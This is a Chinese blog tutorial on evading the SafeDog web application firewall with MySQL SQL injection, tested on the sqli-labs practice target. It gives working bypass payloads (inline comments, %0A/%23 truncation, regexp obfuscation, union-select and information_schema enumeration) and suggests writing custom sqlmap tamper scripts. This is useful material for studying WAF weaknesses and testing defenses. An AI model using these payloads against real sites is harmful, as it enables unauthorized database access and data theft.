热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入绕过某Dog

 一、环境搭建下载最新版的安全狗安装后配置好环境(将防护等级修改为高级)注:此次使用的为sqli-lab靶场,懒得自己写环境了。 二、尝试绕过使用普通的注入语句尝试,被拦截,此时不要慌,想绕狗呢,就必

 

一、环境搭建

下载最新版的安全狗

安装后配置好环境(将防护等级修改为高级)

注:此次使用的为sqli-lab靶场,懒得自己写环境了。

 

二、尝试绕过

使用普通的注入语句尝试,被拦截,此时不要慌,想绕狗呢,就必须知道那个关键字被识别了,想办法使用相同的参数去代替。

语句很短,盲猜是 and 被识别了,删掉之后页面正常。

先来看这句注入 ?id=1' and 1=1--+ 可以理解为 and 前后的条件达成一致不会报错,所以这里的 and 可以替换为 or 、 xor 、&& 、|| 等等,1=1 、1=2 这种判断条件可以改为 false、true等等,思路捋清晰,开始测试。

测试结果 ?id=1' || true--+ 成功绕过,说明此处的条件判断将 and 改为 ||可以绕过。

此时换个思路,尝试步修改 and 使用内联注释尝试绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/*!50001*/ 在数据库版本大于5.00.00时中间的语句会被执行,此处的50001表示假如。

?id=1'/*!11444and*/ '1'='3'--+

?id=1'/*!11444or*/ '1'='3'--+

?id=1' and /*!500001*/=/*!500002*/--+

下面一步时猜字段,使用order by 、group by等,安全狗一直会识别 order by ,但不会识别 group by。

后边是联合查询,union select 等效替换,内联注释的添加,还可以使用特殊字符替换空格来尝试绕过(在20年12月份还写过一版,当时的 union 中间穿插 /*%!a*/ 还可以绕过)

尝试内联注释和 %0a 截断都会被拦截,应该是匹配到了内联注释直接拦截。

尝试在参数后插入其他语句后执行后,添加注释,再使用截断;这里直接使用#语句报错,将双引号给直接注释掉了,将 # 替换为 %23回显正常。

?id=1' regexp "%0A%23" /*!11144union %0A select */1,2,3--+

安全狗早就把 database() 加入规则中了,去年测试时使用垃圾字符和内联注释可以绕过,现在也不行了。

测试将括号删一个,然后报错但是没有被拦截,可以再括号内进行操作,添加内联注释或者截断。

添加单个截断会被拦,又加了内联注释,成功绕过。

?id=-1' regexp "%0A%23"/*!50001union %0A select*/ 1,2,database(%0A /*!11144*/)--+

 

三、小总结

这里就可以总结一下绕过的姿势了,关键字体换姿势比较少,比较多的还是使用截断和内联注释。

判断是否存在注入时,and 、or、xor 等可以替换为 || false||trueand /*!500001*/=/*!500001*//*!11444or*/ '1'='3' 进行绕过判断;使用联合注入时现在的某狗会将整个字符连同内联注释拦截,在 union 前添加一些其他函数进行混淆:regexp "%0a%23" /*!50001union %0a select*/1,2,3 (内联注释中的数字是作为判断,是否大于5.00.01,如果当前数据库版本小于5.00.01则语句被注释掉)这里的50001有时候会被拦截,可以替换成其他的五位的数字,这里就不做测试了;数据查询中的关键字被拦截时可以尝试在括号中做插入换行、截断、内联注释等等。

注表和字段大差不差的都相似,就是需要检查那个关键字被识别,对关键字进行修改,括号包裹、内联注释、换行截断等等都可以试一试。

regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A (schema_name %0A /*80000aaa*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/ limit 0),3--+

regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A group_concat(schema_name %0A /*11444*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/),3--+

自己找到规律之后可以尝试修改sqlmap的脚本,sqlmap本身自带绕过安全设备的脚本,自己可以添加几个来丰富自己的武器库。


推荐阅读
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文介绍了adg架构设置在企业数据治理中的应用。随着信息技术的发展,企业IT系统的快速发展使得数据成为企业业务增长的新动力,但同时也带来了数据冗余、数据难发现、效率低下、资源消耗等问题。本文讨论了企业面临的几类尖锐问题,并提出了解决方案,包括确保库表结构与系统测试版本一致、避免数据冗余、快速定位问题等。此外,本文还探讨了adg架构在大版本升级、上云服务和微服务治理方面的应用。通过本文的介绍,读者可以了解到adg架构设置的重要性及其在企业数据治理中的应用。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • 小程序wxs中的时间格式化以及格式化时间和date时间互转
    本文介绍了在小程序wxs中进行时间格式化操作的问题,并提供了解决方法。同时还介绍了格式化时间和date时间的互相转换的方法。 ... [详细]
author-avatar
能豆子2014
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有